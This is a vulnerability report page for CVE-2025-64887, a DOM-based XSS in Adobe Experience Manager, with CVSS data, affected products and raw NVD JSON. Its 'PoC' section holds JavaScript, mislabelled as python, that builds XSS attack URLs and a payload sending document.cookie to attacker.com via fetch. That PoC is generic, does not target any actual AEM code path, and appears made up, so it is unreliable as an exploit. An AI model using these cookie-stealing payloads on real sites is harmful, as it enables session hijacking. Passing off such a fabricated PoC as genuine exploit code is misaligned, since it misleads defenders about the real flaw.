Security Vulnerability Report
中文
CVE-2025-64887 CVSS 5.4 MEDIUM

CVE-2025-64887

Published: 2025-12-10 19:16:35
Last Modified: 2025-12-12 17:31:59

Description

Adobe Experience Manager versions 6.5.23 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by a low privileged attacker to execute malicious scripts in the context of the victim's browser. Exploitation of this issue requires user interaction, such as visiting a crafted URL or interacting with a manipulated web page.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:* - VULNERABLE
cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:* - VULNERABLE
Adobe Experience Manager 6.5.23 及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-64887 PoC - DOM-based XSS in Adobe Experience Manager // This PoC demonstrates how an attacker could exploit the DOM-based XSS vulnerability // Attack URL construction const baseUrl = 'https://vulnerable-aem-server.com/content/site.html'; const maliciousPayload = '<img src=x onerror="alert(document.cookie)">'; // Method 1: URL Fragment injection const attackUrl1 = baseUrl + '#param=' + encodeURIComponent(maliciousPayload); console.log('[PoC] Malicious URL (Fragment): ' + attackUrl1); // Method 2: URL Parameter injection const attackUrl2 = baseUrl + '?vulnerable_param=' + encodeURIComponent(maliciousPayload); console.log('[PoC] Malicious URL (Parameter): ' + attackUrl2); // Method 3: DOM manipulation payload for stored XSS const domInjectionPayload = { description: 'DOM-based XSS payload for AEM', steps: [ '1. Attacker crafts malicious URL with XSS payload', '2. Victim clicks/enters the malicious URL', '3. AEM client-side JS reads URL parameters or fragment', '4. Unsanitized data is written to DOM via innerHTML or similar', '5. Malicious script executes in victim browser context' ], impact: [ 'Session hijacking via cookie theft', 'Credential harvesting', 'Malicious redirects', 'Content manipulation' ] }; console.log('[PoC] Injection Payload:', JSON.stringify(domInjectionPayload, null, 2)); // Simulate the vulnerable code pattern function vulnerableAEMCode(userInput) { // VULNERABLE: Direct DOM manipulation without sanitization document.getElementById('output').innerHTML = userInput; } // Example attack execution const attackInput = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; console.log('[PoC] Executing vulnerable function with attack input...'); vulnerableAEMCode(attackInput);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64887", "sourceIdentifier": "[email protected]", "published": "2025-12-10T19:16:34.627", "lastModified": "2025-12-12T17:31:58.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Experience Manager versions 6.5.23 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by a low privileged attacker to execute malicious scripts in the context of the victim's browser. Exploitation of this issue requires user interaction, such as visiting a crafted URL or interacting with a manipulated web page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:*", "versionEndExcluding": "6.5.24.0", "matchCriteriaId": "0FC0CE20-2AC2-45FB-A7CF-9ADEEBC8B411"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "3326AB8A-7DF7-437C-86B6-58BA768E42E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:*", "matchCriteriaId": "852C2582-859F-40DB-96CF-E1274CEECC1F"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}